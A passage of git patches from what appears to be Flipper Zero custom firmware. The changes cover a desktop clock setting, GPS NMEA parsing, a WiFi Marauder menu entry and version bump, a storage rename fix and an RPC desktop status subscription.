view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdPinInput); - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdPinTimeout); - - view_dispatcher_free(desktop->view_dispatcher); - scene_manager_free(desktop->scene_manager); - - animation_manager_free(desktop->animation_manager); - view_stack_free(desktop->main_view_stack); - desktop_main_free(desktop->main_view); - view_stack_free(desktop->locked_view_stack); - desktop_view_locked_free(desktop->locked_view); - desktop_lock_menu_free(desktop->lock_menu); - desktop_view_locked_free(desktop->locked_view); - desktop_debug_free(desktop->debug_view); - popup_free(desktop->hw_mismatch_popup); - desktop_view_pin_timeout_free(desktop->pin_timeout_view); - - furi_record_close(RECORD_GUI); - desktop->gui = NULL; - - furi_thread_free(desktop->scene_thread); - - furi_record_close("menu"); - - furi_timer_free(desktop->auto_lock_timer); - - free(desktop); -} - static bool desktop_check_file_flag(const char* flag_path) { Storage* storage = furi_record_open(RECORD_STORAGE); bool exists = storage_common_stat(storage, flag_path, NULL) == FSE_OK; @@ -427,7 +375,8 @@ int32_t desktop_srv(void* p) { } view_dispatcher_run(desktop->view_dispatcher); - desktop_free(desktop); + + furi_crash("That was unexpected"); return 0; } diff --git a/applications/services/dolphin/dolphin.c b/applications/services/dolphin/dolphin.c index dd8b7105f..93a9b3095 100644 --- a/applications/services/dolphin/dolphin.c +++ b/applications/services/dolphin/dolphin.c @@ -89,15 +89,6 @@ Dolphin* dolphin_alloc() { return dolphin; } -void dolphin_free(Dolphin* dolphin) { - furi_assert(dolphin); - - dolphin_state_free(dolphin->state); - furi_message_queue_free(dolphin->event_queue); - - free(dolphin); -} - void dolphin_event_send_async(Dolphin* dolphin, DolphinEvent* event) { furi_assert(dolphin); furi_assert(event); @@ -204,7 +195,7 @@ int32_t dolphin_srv(void* p) { } } - dolphin_free(dolphin); + furi_crash("That was unexpected"); return 0; } diff --git a/applications/services/dolphin/dolphin_i.h b/applications/services/dolphin/dolphin_i.h index 4bb0df08e..ceeff1e1a 100644 --- a/applications/services/dolphin/dolphin_i.h +++ b/applications/services/dolphin/dolphin_i.h @@ -37,8 +37,6 @@ struct Dolphin { Dolphin* dolphin_alloc(); -void dolphin_free(Dolphin* dolphin); - void dolphin_event_send_async(Dolphin* dolphin, DolphinEvent* event); void dolphin_event_send_wait(Dolphin* dolphin, DolphinEvent* event); diff --git a/applications/services/power/power_service/power.c b/applications/services/power/power_service/power.c index 56dbd0f87..72dc8f3f1 100644 --- a/applications/services/power/power_service/power.c +++ b/applications/services/power/power_service/power.c @@ -85,30 +85,6 @@ Power* power_alloc() { return power; } -void power_free(Power* power) { - furi_assert(power); - - // Gui - view_dispatcher_remove_view(power->view_dispatcher, PowerViewOff); - power_off_free(power->power_off); - view_dispatcher_remove_view(power->view_dispatcher, PowerViewUnplugUsb); - power_unplug_usb_free(power->power_unplug_usb); - - view_port_free(power->battery_view_port); - - // State - furi_mutex_free(power->api_mtx); - - // FuriPubSub - furi_pubsub_free(power->event_pubsub); - - // Records - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_GUI); - - free(power); -} - static void power_check_charging_state(Power* power) { if(furi_hal_power_is_charging()) { if((power->info.charge == 100) || (furi_hal_power_is_charging_done())) { @@ -252,7 +228,7 @@ int32_t power_srv(void* p) { furi_delay_ms(1000); } - power_free(power); + furi_crash("That was unexpected"); return 0; } From 1d5a4240b9dc63508d12746bafd8ab0a68b34a00 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Tue, 23 May 2023 22:47:15 +0300 Subject: [PATCH 033/100] Clock: some improvements --- applications/services/desktop/desktop.c | 62 +++++++++++++++---- applications/services/desktop/desktop_i.h | 3 +- .../services/desktop/desktop_settings.h | 1 + applications/services/gui/gui.c | 17 +++++ applications/services/gui/gui.h | 2 + .../scenes/desktop_settings_scene_start.c | 34 +++++++++- firmware/targets/f7/api_symbols.csv | 1 + 7 files changed, 105 insertions(+), 15 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 31e53f3f2..c25af0da5 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -8,6 +8,7 @@ #include #include #include +#include #include "animations/animation_manager.h" #include "desktop/scenes/desktop_scene.h" @@ -48,6 +49,21 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } +static void desktop_togle_clock_view(Desktop* desktop, bool is_enabled) { + furi_assert(desktop); + + // clock type upd after 1 minute + desktop->clock_type = (locale_get_time_format() == LocaleTimeFormat24h); + + if(is_enabled) { // && !furi_timer_is_running(desktop->update_clock_timer)) { + furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); + } else if(!is_enabled) { //&& furi_timer_is_running(desktop->update_clock_timer)) { + furi_timer_stop(desktop->update_clock_timer); + } + + view_port_enabled_set(desktop->clock_viewport, is_enabled); +} + static uint8_t desktop_clock_get_num_w(uint8_t num) { if(num == 1) { return 3; @@ -81,7 +97,8 @@ static void desktop_clock_draw_callback(Canvas* canvas, void* context) { desktop_clock_get_num_w(d[3]) + //c4 2 + 4; // ":" + 4 separators - view_port_set_width(desktop->clock_viewport, new_w - 1); + // further away from the battery charge indicator, if the smallest minute is 1 + view_port_set_width(desktop->clock_viewport, new_w - !(d[0] == 1)); uint8_t x = new_w; @@ -123,6 +140,9 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { // TODO: Implement a message mechanism for loading settings and (optionally) // locking and unlocking DESKTOP_SETTINGS_LOAD(&desktop->settings); + + desktop_togle_clock_view(desktop, desktop->settings.display_clock); + desktop_auto_lock_arm(desktop); return true; case DesktopGlobalAutoLock: @@ -192,15 +212,25 @@ static void desktop_update_clock_timer_callback(void* context) { furi_assert(context); Desktop* desktop = context; - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - if(desktop->minute != curr_dt.minute) { - desktop->hour = curr_dt.hour; - desktop->minute = curr_dt.minute; - view_port_update(desktop->clock_viewport); - } + if(gui_get_count_of_enabled_view_port_in_layer(desktop->gui, GuiLayerStatusBarLeft) < 6) { + FuriHalRtcDateTime curr_dt; + furi_hal_rtc_get_datetime(&curr_dt); - // view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopGlobalAutoLock); + if(desktop->minute != curr_dt.minute) { + if(desktop->clock_type) { + desktop->hour = curr_dt.hour; + } else { + desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : + ((curr_dt.hour == 0) ? 12 : curr_dt.hour); + } + desktop->minute = curr_dt.minute; + view_port_update(desktop->clock_viewport); + } + + view_port_enabled_set(desktop->clock_viewport, true); + } else { + view_port_enabled_set(desktop->clock_viewport, false); + } } void desktop_lock(Desktop* desktop) { @@ -353,7 +383,7 @@ Desktop* desktop_alloc() { desktop->clock_viewport = view_port_alloc(); view_port_set_width(desktop->clock_viewport, 25); view_port_draw_callback_set(desktop->clock_viewport, desktop_clock_draw_callback, desktop); - view_port_enabled_set(desktop->clock_viewport, true); + view_port_enabled_set(desktop->clock_viewport, false); gui_add_view_port(desktop->gui, desktop->clock_viewport, GuiLayerStatusBarRight); // Stealth mode icon @@ -391,11 +421,14 @@ Desktop* desktop_alloc() { FuriHalRtcDateTime curr_dt; furi_hal_rtc_get_datetime(&curr_dt); - desktop->hour = curr_dt.hour; + if(desktop->clock_type) { + desktop->hour = curr_dt.hour; + } else { + desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : + ((curr_dt.hour == 0) ? 12 : curr_dt.hour); + } desktop->minute = curr_dt.minute; - furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); - furi_record_create(RECORD_DESKTOP, desktop); return desktop; @@ -489,6 +522,9 @@ int32_t desktop_srv(void* p) { } view_port_enabled_set(desktop->dummy_mode_icon_viewport, desktop->settings.dummy_mode); + + desktop_togle_clock_view(desktop, desktop->settings.display_clock); + desktop_main_set_dummy_mode_state(desktop->main_view, desktop->settings.dummy_mode); animation_manager_set_dummy_mode_state( desktop->animation_manager, desktop->settings.dummy_mode); diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index 0fac0f34c..2d033c196 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -75,8 +75,9 @@ struct Desktop { uint8_t hour; uint8_t minute; + bool clock_type : 1; // true - 24h false - 12h - bool in_transition; + bool in_transition : 1; }; Desktop* desktop_alloc(); diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index e750c696c..49291b371 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -63,4 +63,5 @@ typedef struct { uint32_t auto_lock_delay_ms; uint8_t displayBatteryPercentage; uint8_t dummy_mode; + uint8_t display_clock; } DesktopSettings; diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 392011620..87cc962ca 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -17,6 +17,23 @@ ViewPort* gui_view_port_find_enabled(ViewPortArray_t array) { return NULL; } +uint8_t gui_get_count_of_enabled_view_port_in_layer(Gui* gui, GuiLayer layer) { + furi_assert(gui); + furi_check(layer < GuiLayerMAX); + uint8_t ret = 0; + + ViewPortArray_it_t it; + ViewPortArray_it_last(it, gui->layers[layer]); + while(!ViewPortArray_end_p(it)) { + ViewPort* view_port = *ViewPortArray_ref(it); + if(view_port_is_enabled(view_port)) { + ret++; + } + ViewPortArray_previous(it); + } + return ret; +} + void gui_update(Gui* gui) { furi_assert(gui); if(!gui->direct_draw) furi_thread_flags_set(gui->thread_id, GUI_THREAD_FLAG_DRAW); diff --git a/applications/services/gui/gui.h b/applications/services/gui/gui.h index 1b5987eda..a59a4ff6a 100644 --- a/applications/services/gui/gui.h +++ b/applications/services/gui/gui.h @@ -132,6 +132,8 @@ Canvas* gui_direct_draw_acquire(Gui* gui); */ void gui_direct_draw_release(Gui* gui); +uint8_t gui_get_count_of_enabled_view_port_in_layer(Gui* gui, GuiLayer layer); + #ifdef __cplusplus } #endif diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c index 9d63f6628..b9233a0fa 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c @@ -11,7 +11,8 @@ #define SCENE_EVENT_SELECT_PIN_SETUP 3 #define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 4 #define SCENE_EVENT_SELECT_BATTERY_DISPLAY 5 -#define SCENE_EVENT_SELECT_CHANGE_NAME 6 +#define SCENE_EVENT_SELECT_CLOCK_DISPLAY 6 +#define SCENE_EVENT_SELECT_CHANGE_NAME 7 #define AUTO_LOCK_DELAY_COUNT 9 const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = { @@ -29,6 +30,14 @@ const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = { const uint32_t auto_lock_delay_value[AUTO_LOCK_DELAY_COUNT] = {0, 10000, 15000, 30000, 60000, 90000, 120000, 300000, 600000}; +#define CLOCK_ENABLE_COUNT 2 +const char* const clock_enable_text[CLOCK_ENABLE_COUNT] = { + "OFF", + "ON", +}; + +const uint32_t clock_enable_value[CLOCK_ENABLE_COUNT] = {0, 1}; + #define BATTERY_VIEW_COUNT 6 const char* const battery_view_count_text[BATTERY_VIEW_COUNT] = @@ -55,6 +64,14 @@ static void desktop_settings_scene_start_battery_view_changed(VariableItem* item app->settings.displayBatteryPercentage = index; } +static void desktop_settings_scene_start_clock_enable_changed(VariableItem* item) { + DesktopSettingsApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, clock_enable_text[index]); + app->settings.display_clock = index; +} + static void desktop_settings_scene_start_auto_lock_delay_changed(VariableItem* item) { DesktopSettingsApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); @@ -106,6 +123,18 @@ void desktop_settings_scene_start_on_enter(void* context) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, battery_view_count_text[value_index]); + item = variable_item_list_add( + variable_item_list, + "Clock on desktop", + CLOCK_ENABLE_COUNT, + desktop_settings_scene_start_clock_enable_changed, // + app); + + value_index = + value_index_uint32(app->settings.display_clock, clock_enable_value, CLOCK_ENABLE_COUNT); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, clock_enable_text[value_index]); + variable_item_list_add(variable_item_list, "Change Flipper Name", 0, NULL, app); view_dispatcher_switch_to_view(app->view_dispatcher, DesktopSettingsAppViewVarItemList); @@ -142,6 +171,9 @@ bool desktop_settings_scene_start_on_event(void* context, SceneManagerEvent even case SCENE_EVENT_SELECT_BATTERY_DISPLAY: consumed = true; break; + case SCENE_EVENT_SELECT_CLOCK_DISPLAY: + consumed = true; + break; case SCENE_EVENT_SELECT_CHANGE_NAME: scene_manager_next_scene(app->scene_manager, DesktopSettingsAppSceneChangeName); consumed = true; diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index cd79ebb23..2f9cf5314 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1658,6 +1658,7 @@ Function,+,gui_add_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, voi Function,+,gui_add_view_port,void,"Gui*, ViewPort*, GuiLayer" Function,+,gui_direct_draw_acquire,Canvas*,Gui* Function,+,gui_direct_draw_release,void,Gui* +Function,-,gui_get_count_of_enabled_view_port_in_layer,uint8_t,"Gui*, GuiLayer" Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" From bce12a40486ffc184126d50e16145668000fad9a Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 07:24:01 +0300 Subject: [PATCH 034/100] Update GPS UART --- .../external/gps_nmea_uart/gps_uart.c | 41 ++++++++++++++++--- 1 file changed, 36 insertions(+), 5 deletions(-) diff --git a/applications/external/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c index ada8f04f9..d44cf22ef 100644 --- a/applications/external/gps_nmea_uart/gps_uart.c +++ b/applications/external/gps_nmea_uart/gps_uart.c @@ -66,6 +66,19 @@ static void gps_uart_parse_nmea(GpsUart* gps_uart, char* line) { } } break; + case MINMEA_SENTENCE_GLL: { + struct minmea_sentence_gll frame; + if(minmea_parse_gll(&frame, line)) { + gps_uart->status.latitude = minmea_tocoord(&frame.latitude); + gps_uart->status.longitude = minmea_tocoord(&frame.longitude); + gps_uart->status.time_hours = frame.time.hours; + gps_uart->status.time_minutes = frame.time.minutes; + gps_uart->status.time_seconds = frame.time.seconds; + + notification_message_block(gps_uart->notifications, &sequence_blink_red_10); + } + } break; + default: break; } @@ -88,35 +101,53 @@ static int32_t gps_uart_worker(void* context) { if(events & WorkerEvtRxDone) { size_t len = 0; do { + // receive serial bytes into rx_buf, starting at rx_offset from the start of the buffer + // the maximum we can receive is RX_BUF_SIZE - 1 - rx_offset len = furi_stream_buffer_receive( gps_uart->rx_stream, gps_uart->rx_buf + rx_offset, RX_BUF_SIZE - 1 - rx_offset, 0); if(len > 0) { + // increase rx_offset by the number of bytes received, and null-terminate rx_buf rx_offset += len; gps_uart->rx_buf[rx_offset] = '\0'; + // look for strings ending in newlines, starting at the start of rx_buf char* line_current = (char*)gps_uart->rx_buf; while(1) { + // skip null characters while(*line_current == '\0' && line_current < (char*)gps_uart->rx_buf + rx_offset - 1) { line_current++; } + // find the next newline char* newline = strchr(line_current, '\n'); - if(newline) { + if(newline) // newline found + { + // put a null terminator in place of the newline, to delimit the line string *newline = '\0'; + + // attempt to parse the line as a NMEA sentence gps_uart_parse_nmea(gps_uart, line_current); + + // move the cursor to the character after the newline line_current = newline + 1; - } else { - if(line_current > (char*)gps_uart->rx_buf) { + } else // no more newlines found + { + if(line_current > + (char*)gps_uart->rx_buf) // at least one line was found + { + // clear parsed lines, and move any leftover bytes to the start of rx_buf rx_offset = 0; - while(*line_current) { + while( + *line_current) // stop when the original rx_offset terminator is reached + { gps_uart->rx_buf[rx_offset++] = *(line_current++); } } - break; + break; // go back to receiving bytes from the serial stream } } } From b12fc114c709c32924a8e5fcd0133f095d975e65 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 07:42:03 +0300 Subject: [PATCH 035/100] Update WiFi Marauder plugin Added PR by justcallmekoko https://github.com/justcallmekoko/flipperzero-firmware-with-wifi-marauder-companion --- .../wifi_marauder_companion/scenes/wifi_marauder_scene_start.c | 1 + .../external/wifi_marauder_companion/wifi_marauder_app.h | 2 +- .../external/wifi_marauder_companion/wifi_marauder_app_i.h | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c index 28a3ed2a9..b2bd39d3e 100644 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c @@ -97,6 +97,7 @@ const WifiMarauderItem items[NUM_MENU_ITEMS] = { NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, + {"Signal Monitor", {""}, 1, {"sigmon"}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP}, {"Channel", {"get", "set"}, 2, diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h index 7e3856059..5457f89d8 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.h @@ -4,7 +4,7 @@ extern "C" { #endif -#define WIFI_MARAUDER_APP_VERSION "v0.3.6" +#define WIFI_MARAUDER_APP_VERSION "v0.3.7" typedef struct WifiMarauderApp WifiMarauderApp; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h index 45e1e5920..2a16522bb 100644 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h @@ -26,7 +26,7 @@ #include #include -#define NUM_MENU_ITEMS (17) +#define NUM_MENU_ITEMS (18) #define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) #define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) From 5c234c21069635fb00f8738a6cda0bba683e52c6 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 07:48:33 +0300 Subject: [PATCH 036/100] Update changelog --- CHANGELOG.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5dc889d2f..23e815ba9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,12 @@ * Misc: Name changer code moved to proper place, load after system startup + extra checks * Plugins: NMEA GPS UART - stability fix * Plugins: Port XFW keyboard with extra symbols to WiFi Marauder instead of using UART Term keyboard (thanks to @Willy-JL) +* Plugins: Update NMEA GPS UART [(by ezod)](https://github.com/ezod/flipperzero-gps) * Plugins: Update WiFi Marauder [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +* OFW: Services: remove deallocator for persistent services +* OFW: Storage: common_rename is now POSIX compliant +* OFW: Removed user-specific data from tar artifacts +* OFW: fbt: Fix tar uid overflow when packaging * OFW: fbt: Use union for old py (Fix builds if using older python versions) * OFW PR 2682: USB HID report timeout (by nminaylov) From 977c9e706e189333665ceadfdda1bd81baafdda7 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 07:50:13 +0300 Subject: [PATCH 037/100] Fix typos --- applications/services/desktop/desktop.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 33a99b07e..ebc13ec9d 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -49,7 +49,7 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } -static void desktop_togle_clock_view(Desktop* desktop, bool is_enabled) { +static void desktop_toggle_clock_view(Desktop* desktop, bool is_enabled) { furi_assert(desktop); // clock type upd after 1 minute @@ -141,7 +141,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { // locking and unlocking DESKTOP_SETTINGS_LOAD(&desktop->settings); - desktop_togle_clock_view(desktop, desktop->settings.display_clock); + desktop_toggle_clock_view(desktop, desktop->settings.display_clock); desktop_auto_lock_arm(desktop); return true; @@ -470,7 +470,7 @@ int32_t desktop_srv(void* p) { view_port_enabled_set(desktop->dummy_mode_icon_viewport, desktop->settings.dummy_mode); - desktop_togle_clock_view(desktop, desktop->settings.display_clock); + desktop_toggle_clock_view(desktop, desktop->settings.display_clock); desktop_main_set_dummy_mode_state(desktop->main_view, desktop->settings.dummy_mode); animation_manager_set_dummy_mode_state( From 035bb57c56bdcceaf8f1d78b570d59220d2eb8fe Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 07:50:45 +0300 Subject: [PATCH 038/100] bump version!!! --- applications/services/desktop/desktop_settings.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index 49291b371..fb63f26f5 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -8,7 +8,7 @@ #include #include -#define DESKTOP_SETTINGS_VER (9) +#define DESKTOP_SETTINGS_VER (10) #define DESKTOP_SETTINGS_PATH INT_PATH(DESKTOP_SETTINGS_FILE_NAME) #define DESKTOP_SETTINGS_MAGIC (0x17) From d83d898cdc206b920b7b12d1a4937751f296f0ea Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 24 May 2023 08:26:17 +0300 Subject: [PATCH 039/100] Rename --- .../desktop_settings/scenes/desktop_settings_scene_start.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c index b9233a0fa..43e86cdc6 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_start.c @@ -125,7 +125,7 @@ void desktop_settings_scene_start_on_enter(void* context) { item = variable_item_list_add( variable_item_list, - "Clock on desktop", + "Show Clock", CLOCK_ENABLE_COUNT, desktop_settings_scene_start_clock_enable_changed, // app); From 88f0b635774afe76f15bb72a469e22d4449d7e35 Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Thu, 25 May 2023 06:44:32 -0700 Subject: [PATCH 040/100] Storage, common_rename: check that old path is exists (#2698) * Storage, common_rename: check that old path is exists * Storage, common_rename: return correct status --- .../services/storage/storage_external_api.c | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index 549397c87..5fcaa5921 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -424,19 +424,25 @@ FS_Error storage_common_remove(Storage* storage, const char* path) { FS_Error storage_common_rename(Storage* storage, const char* old_path, const char* new_path) { FS_Error error; - if(storage_file_exists(storage, new_path)) { - error = storage_common_remove(storage, new_path); - if(error != FSE_OK) { - return error; + do { + if(!storage_common_exists(storage, old_path)) { + error = FSE_INVALID_NAME; + break; + } + + if(storage_file_exists(storage, new_path)) { + storage_common_remove(storage, new_path); + } + + error = storage_common_copy(storage, old_path, new_path); + if(error != FSE_OK) { + break; } - } - error = storage_common_copy(storage, old_path, new_path); - if(error == FSE_OK) { if(!storage_simply_remove_recursive(storage, old_path)) { error = FSE_INTERNAL; } - } + } while(false); return error; } From 080324f7e0b28283fd4da5b24b1efb41a0c9af0b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Thu, 25 May 2023 23:22:31 +0900 Subject: [PATCH 041/100] [FL-3315] Desktop,Rpc: desktop status subscription (#2696) * Desktop,Rpc: desktop status subscription * Desktop,RPC: properly handle unsubscribe Co-authored-by: Sergey Gavrilov --- applications/services/desktop/desktop.c | 13 +++++ applications/services/desktop/desktop.h | 8 +++ applications/services/desktop/desktop_i.h | 2 + applications/services/rpc/rpc_desktop.c | 64 +++++++++++++++++++++++ assets/protobuf | 2 +- 5 files changed, 88 insertions(+), 1 deletion(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 36589aed4..e1da64940 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -147,6 +147,9 @@ void desktop_lock(Desktop* desktop) { desktop->scene_manager, DesktopSceneLocked, SCENE_LOCKED_FIRST_ENTER); scene_manager_next_scene(desktop->scene_manager, DesktopSceneLocked); notification_message(desktop->notification, &sequence_display_backlight_off_delay_1000); + + DesktopStatus status = {.locked = true}; + furi_pubsub_publish(desktop->status_pubsub, &status); } void desktop_unlock(Desktop* desktop) { @@ -165,6 +168,9 @@ void desktop_unlock(Desktop* desktop) { cli_session_open(cli, &cli_vcp); furi_record_close(RECORD_CLI); } + + DesktopStatus status = {.locked = false}; + furi_pubsub_publish(desktop->status_pubsub, &status); } void desktop_set_dummy_mode_state(Desktop* desktop, bool enabled) { @@ -308,6 +314,8 @@ Desktop* desktop_alloc() { desktop->auto_lock_timer = furi_timer_alloc(desktop_auto_lock_timer_callback, FuriTimerTypeOnce, desktop); + desktop->status_pubsub = furi_pubsub_alloc(); + furi_record_create(RECORD_DESKTOP, desktop); return desktop; @@ -331,6 +339,11 @@ void desktop_api_unlock(Desktop* instance) { view_dispatcher_send_custom_event(instance->view_dispatcher, DesktopLockedEventUnlocked); } +FuriPubSub* desktop_api_get_status_pubsub(Desktop* instance) { + furi_assert(instance); + return instance->status_pubsub; +} + int32_t desktop_srv(void* p) { UNUSED(p); diff --git a/applications/services/desktop/desktop.h b/applications/services/desktop/desktop.h index 5b12647b8..4eab24fcc 100644 --- a/applications/services/desktop/desktop.h +++ b/applications/services/desktop/desktop.h @@ -1,5 +1,7 @@ #pragma once +#include + typedef struct Desktop Desktop; #define RECORD_DESKTOP "desktop" @@ -7,3 +9,9 @@ typedef struct Desktop Desktop; bool desktop_api_is_locked(Desktop* instance); void desktop_api_unlock(Desktop* instance); + +typedef struct { + bool locked; +} DesktopStatus; + +FuriPubSub* desktop_api_get_status_pubsub(Desktop* instance); diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index ede6bbcc3..0b3d56801 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -71,6 +71,8 @@ struct Desktop { FuriPubSubSubscription* input_events_subscription; FuriTimer* auto_lock_timer; + FuriPubSub* status_pubsub; + bool in_transition; }; diff --git a/applications/services/rpc/rpc_desktop.c b/applications/services/rpc/rpc_desktop.c index dbf9796ec..0d72b43d5 100644 --- a/applications/services/rpc/rpc_desktop.c +++ b/applications/services/rpc/rpc_desktop.c @@ -8,6 +8,8 @@ typedef struct { RpcSession* session; Desktop* desktop; + FuriPubSub* status_pubsub; + FuriPubSubSubscription* status_subscription; } RpcDesktop; static void rpc_desktop_on_is_locked_request(const PB_Main* request, void* context) { @@ -39,11 +41,63 @@ static void rpc_desktop_on_unlock_request(const PB_Main* request, void* context) rpc_send_and_release_empty(session, request->command_id, PB_CommandStatus_OK); } +static void rpc_desktop_on_desktop_pubsub(const void* message, void* context) { + RpcDesktop* rpc_desktop = context; + RpcSession* session = rpc_desktop->session; + const DesktopStatus* status = message; + + PB_Main rpc_message = { + .command_id = 0, + .command_status = PB_CommandStatus_OK, + .has_next = false, + .which_content = PB_Main_desktop_status_tag, + .content.desktop_status.locked = status->locked, + }; + rpc_send_and_release(session, &rpc_message); +} + +static void rpc_desktop_on_status_subscribe_request(const PB_Main* request, void* context) { + furi_assert(request); + furi_assert(context); + furi_assert(request->which_content == PB_Main_desktop_status_subscribe_request_tag); + + FURI_LOG_D(TAG, "StatusSubscribeRequest"); + RpcDesktop* rpc_desktop = context; + RpcSession* session = rpc_desktop->session; + + if(rpc_desktop->status_subscription) { + rpc_send_and_release_empty(session, request->command_id, PB_CommandStatus_ERROR); + } else { + rpc_desktop->status_subscription = furi_pubsub_subscribe( + rpc_desktop->status_pubsub, rpc_desktop_on_desktop_pubsub, rpc_desktop); + rpc_send_and_release_empty(session, request->command_id, PB_CommandStatus_OK); + } +} + +static void rpc_desktop_on_status_unsubscribe_request(const PB_Main* request, void* context) { + furi_assert(request); + furi_assert(context); + furi_assert(request->which_content == PB_Main_desktop_status_unsubscribe_request_tag); + + FURI_LOG_D(TAG, "StatusUnsubscribeRequest"); + RpcDesktop* rpc_desktop = context; + RpcSession* session = rpc_desktop->session; + + if(rpc_desktop->status_subscription) { + furi_pubsub_unsubscribe(rpc_desktop->status_pubsub, rpc_desktop->status_subscription); + 